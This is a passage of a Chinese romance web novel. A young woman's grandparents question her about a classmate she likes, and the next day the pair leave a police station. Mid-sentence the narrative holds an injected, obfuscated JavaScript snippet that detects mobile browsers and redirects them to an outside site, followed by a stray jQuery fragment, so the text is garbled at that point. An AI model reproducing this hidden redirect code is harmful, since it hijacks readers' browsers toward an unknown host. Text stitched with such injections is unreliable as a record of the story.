一行黑车车队排开,匀速驶往望玉北郊区。
库里南带队,奔驰护卫,雷克萨斯收尾。
但是,车队C位的一辆黑车却最格格不入。仔细一看,竟是辆保姆车。
夏习习半躺在埃尔法第三排座椅上,横倒在外婆怀里,腿不老实地翘起,随意搭上左侧的车窗。
周遭四人,时不时往后排她坐着的方向望去。
各个眼神殷切,欲语还休。
夏习习脚下一滑溜,脚后跟忽而没搭上后窗,闷软一声腿落回了座椅上。
她扭头,环顾一周,与四人对上视线。
最后她仰头,视线直直看向外婆。
她幽幽开口道:
“哎呀,你们放着好好的车不坐都挤我车上就算了,有什么要讲的就讲要问就问呀!老看我干嘛。”
夏习习眼见坐她斜对面的爷爷,一手取下黑色的巴拿马礼帽,露出熟悉的满是皱纹的脸。
不过,现下正板着,看起来凶巴巴。
但这沟壑纵横肃然一张脸,往下一看,身上却是印着夏习习搞怪头像的粉色T恤衫,又显得有几分老顽童的俏皮感。
夏习习又撒娇道:“老嗲,你笑一笑呀,干嘛这么严肃嘛。”
爷爷闻言,表情稍缓和了些许,但依旧肃凛,精神矍铄。
声音是老人常有的低哑,却中气十足:“囡囡,待会回家老嗲给你搭个脉。”
夏习习闻言立马捂着两只耳朵往外婆身侧翻。
“不要不要不要!”
爷爷鼻息重重哼了声,“不把脉也可以。囡囡,告诉老嗲,侬什么时候谈朋友的?”
外公坐在副驾驶位,闻言也侧扭过头,看向夏习习:
“两人到什么阶段了?手都牵起来了?”
坐她正前面的奶奶,轻轻揽着夏习习的白色羊毛外套,语气温和道:
“乖囡,侬妈妈可晓得你谈恋爱了伐?”
夏习习嘟嘴不满道:
“哎呀老嗲奶奶外公!你们怎么叽里咕噜一次性问那么多,我和周憬之都还没在一起呢!”
“我在追……他……他好像在追我?”
奶奶抓住关键词,“好像?”
“你们都没谈朋友就手拉手?”外公语调陡然拉高,“侬勿要瞎讲啊。”
“我哪里瞎讲了呀。”夏习习皱眉。
“就是,我现在不知道是他在追我,还是我在追他哎。”
爷爷奶奶外公外婆:“???”
夏习习仰着头看向车顶,顺手捏着外婆粉色T恤下方,滑溜溜的白色羊绒面料衣角,她皱眉思索着:
“原本,是我一开始在追他的,但是后面我觉得不对劲,我就去问了周兼荡。结果,周兼荡说周憬之好像也喜欢我,是在追我。”
“然后,我现在脑子里可混乱了。”
“我们这样……算是互追吗?”
爷爷和外公:“……”
外婆低下头,顺手把她顺直的黑发理至耳后,倒是哈哈笑了起来:
“年轻人现在搞这么新潮?”
奶奶笑意晏晏看向夏习习:
“你们都牵上手了,囡囡,你觉得这说明了什么?”
夏习习咬着唇,一手托着下巴。
“说明我们在互追?”
奶奶伸过手,点了点她的鼻子。
“乖囡呀,这哪是互追,这是互相喜欢呀。”
夏习习脸嘭的一声红了。
“可、可是,他都不主动的。不偷偷亲我,也不主动拉我手,都是我主动的哎!”
爷爷和外公闻言,脸煞时黑得像煤炭。
爷爷道:“你主动牵他的?”
外公:“你还主动亲他了??”
夏习习意识到口误,她皱眉补充道:
“哎呀不是的啦,我主动牵的他,但是我没亲他噢。”
爷爷和外公长呼出气,好歹放下心。
夏习习:“因为他根本就不让我亲嘛。”
“……”
爷爷和外公闻言两眼一黑,后牙槽都要咬碎。
外婆和奶奶怔愣一瞬,倒是哈哈大笑。
外婆咯咯笑个不停,隔着薄软的羊绒,夏习习都感觉到脸侧奶奶的胸腔都在不停颤抖。
外婆拿出绢帕擦了擦笑出的眼泪,“囡囡啊,这周同学小脸长得俊,外婆支持你主动。”
“奶奶也喜欢,看着灵光得很。”
夏习习嘟着嘴,两手作抱拳状:
“谢谢支持。”
“……我不支持!”爷爷和外公异口同声。
爷爷率先抱臂,冷哼一声,连串开问:
“这小伙子家庭情况你了解伐?家里几口人?家住哪?是不是望玉人?”
夏习习愣住:“不知道哎。”
外公噔了噔拐杖,在车内传出闷闷两声轻响。
外公紧着接话道:
“他家里做什么?做生意?开公司?从·政?”
夏习习瘪嘴,往外婆怀里侧了侧脸,避开外公炯炯的眼神。
“我哪知道呀,我要和他谈朋友,又不是要查户口。”
外婆一看夏习习这委屈的小表情,那叫一个怜爱。
她提高音调帮腔,“好啦好啦好啦,两个老寿头想组撒啊?两小孩八字都还没一撇的事情,问那么多干吗?”
奶奶开口:“习习喜欢最重要,其他都是次要。”
爷爷气得把手里捏着的帽子扬起,左看右看,却找不着发泄处。
最后又往自己胸前重重一放,他嘴角一耷压:
“了解人家背景情况,这不是最基础的事项伐?了解清爽了,才晓得他这人行不行得通,两人能不能走长远。你们俩啊你们俩,就晓得不分青红皂白,沆瀣一气!”
奶奶剜了爷爷一眼:
“这些东西你叫包办去做背调去,有的是人可以查,侬就光晓得为难习习,啊?侬想作什么?”
夏习习立马接话,“老嗲,他家背景我不知道,但是他学习我知道呀!他成绩老好额,我们高中大学可都是同班同学。”
爷爷不屑:“有多好?”
“人家当年高考可是望玉市第一诶,学校里拉的横幅都不知道多少个!”
“……一般。”
奶奶瞥了眼爷爷,随后悠悠道:“确实好啊。”
爷爷鼻哼一声,“好汉不提当年勇,他以前好能代表现在好?”
夏习习嘟嘴,撑着座椅直起身。
她侧过头,凑到前座的爷爷耳旁,她拔高音量道:
“他可是直博到了计算机科学与技术系哎,外公肯定了解这含金量的!而且,他老早就进他导师课题组里做项目了,年年拿奖学金,竞赛奖项也不知道拿了多少,专利也一大堆,SCI一区都发了好几篇,他可是我们学校都出了名的风云人物,风云人物!晓得伐?”
哎,没办法,周憬之太过于耀眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271258|182309||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她不怎么刻意关注他,都能从学校同学的八卦讨论里得知关于他的信息。
爷爷可不满夏习习维护周憬之:
“……你凑那么近干什么?老嗲耳朵要聋掉了!”
外公是个老学究,现在还返聘于望玉大学隔壁某高校。闻言倒是点了点头,松了口:“这孩子确实蛮出色,脑子也灵光。要是这样,家庭条件差点也没关系。”
爷爷回头瞪了外公一眼。
叛徒!
外公接收到视线,宭然摸了摸鼻子。清咳了一声挪开视线,看向前方路况。
眼见最后的一位队友也已然倒戈,爷爷只得独自追击:
“学习好能代表他品德好?能代表他私德好?能代表他知心贴心懂你?”
奶奶和外婆听完倒是越听越对周憬之满意。
外婆率先开口:“知心贴心哪能是一时就能晓得的?两个小孩都还没怎么接触你就讲这些了?”
爷爷继续挑刺,“她都不晓得人家底细就敢牵人家男孩手?!脑子瓦特啦?”
外婆不满,“牵个手怎么了?习习都二十一了,连手都没拉过这才奇怪额。我看啊就是侬手伸得老长,搞得习习恋爱都没敢谈。”
爷爷重重鼻哼,“不谈那是最好的,谁晓得外面的男孩都什么德行?没一个好东西。”
奶奶受不了这老头子没完没了的刁难,她直接开炮终结话题:
“侬真是只寿头寿屈死寿棺材,伐要在豌豆里寻骨头了好伐?”
……
次日,望玉市公安局东淮分局内。
“走吧。”
周憬之手里拿着顶毛呢浅米色贝雷帽,从询问室中猪肝色的靠背椅上起身。
他看向身旁手中捏着白纸黑字,正低头翻看的女孩。
周憬之拉开询问室的门,让她先行出去。
“昨天跟家里人说了吗?”
她顿住,“……我忘了哎。”
讲到这个,夏习习就忍不住想叹气。
昨天从接机的车上开始,四个老人唇枪舌战,斗了一晚上。
从夏习习谈朋友开始,越斗越起劲,到后面逐渐变成老嗲和奶奶的互喷。
奶奶嘲讽老嗲高尔夫打得越来越稀巴烂,打那么多年到现在竟然还要打90杆开外。
老嗲吐槽奶奶新拍的汝窑瓶土不土洋不洋,没一点审美情趣,中不溜的看着心就烦。
到晚上的时候,老爸下班回家,老人们的炮火又有新的炮轰对象。
最近沉迷于古籍的老爸上班像是进了研究院,办公室里满头满眼全是那一堆堆泛着黄残了页,一页粘连着好几页的旧书。
一进门,不知道的还以为进旧书批发市场。
单这一点,就被秘书和董事会打小报告不知打了多少回。
有更张狂猖獗的老爸挡在她前面,小囡囡八字没一撇的谈朋友显得像在过家家。
她的其他事情也降低权重,微不足道。
至此,话题也就完全与她无关了。
哎。夏习习难免感叹。
随着奶奶爷爷外婆外公们的年纪越发上来,倒是也越发扔掉了以往的体面和装腔。
这何尝不是一种返璞归真呢。
夏习习这边,现下也有“真”。
周憬之真真切切地给她戴上了她的贝雷帽。
视野遮蔽,进入视野里的场景范围也缩小。
她仰头看向他——